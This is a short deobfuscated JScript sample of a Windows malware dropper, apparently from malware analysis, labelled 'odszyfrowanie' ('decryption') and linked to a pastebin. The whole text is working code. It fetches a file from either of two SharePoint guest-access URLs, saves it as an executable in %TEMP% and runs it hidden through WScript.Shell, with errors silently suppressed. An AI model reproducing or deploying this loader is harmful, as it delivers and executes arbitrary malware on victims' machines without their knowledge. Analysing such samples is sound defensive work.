odszyfrowanie

// https://pastebin.com/29HhSSLb

var_1 = 0;
var_2 = 0;

urls = [
    'https://globalcareerlink-my.sharepoint.com/personal/bkelly_globalcareerlink_com/_layouts/15/guestaccess.aspx?docid=09c7861ff09f74b0d8baa32a9e9c2f81c&authkey=AVGOK7Vhsfl0XSwF4Qa4cbc',
    'https://pspms-my.sharepoint.com/personal/paul_pstevens_com_au/_layouts/15/guestaccess.aspx?docid=07c42286ec5f14c9da5dbde315445af7d&authkey=ASyk0fcJLWFfYVMo130rNAE'
];

obj_1 = this['ActiveXObject'];
obj_2 = new obj_1('WScript.Shell');
obj_3 = obj_2['ExpandEnvironmentStrings']('%TEMP%/k6uQJawru.exe');

try {
    obj_4 = new obj_1('MSXML2.XMLHTTP');

    while (var_1 == 0) {
        obj_4['open']('GET', urls[var_2], 0);

        var_2 =+ 1

        if (var_2 == urls.length)
            var_2 = 0;

        obj_4['send']();

        while (obj_4['readystate'] < 4) {
            obj_2['Sleep'](100);
        }

        var_3 = obj_4['statusText'];

        if (var_3 && var_3 == 'OK')
            var_1 = 1;
    }
    obj_5 = new obj_1('ADODB.Stream');
    obj_5['open']();
    obj_5['type'] = 1;
    obj_5['write'](obj_4['ResponseBody']);
    obj_5['position'] = 0
    obj_5['saveToFile'](obj_3, 2);
    obj_5['close']();
    obj_2['Run'](obj_3, 0, 0);
} catch (ePXDBcodDAdq) {};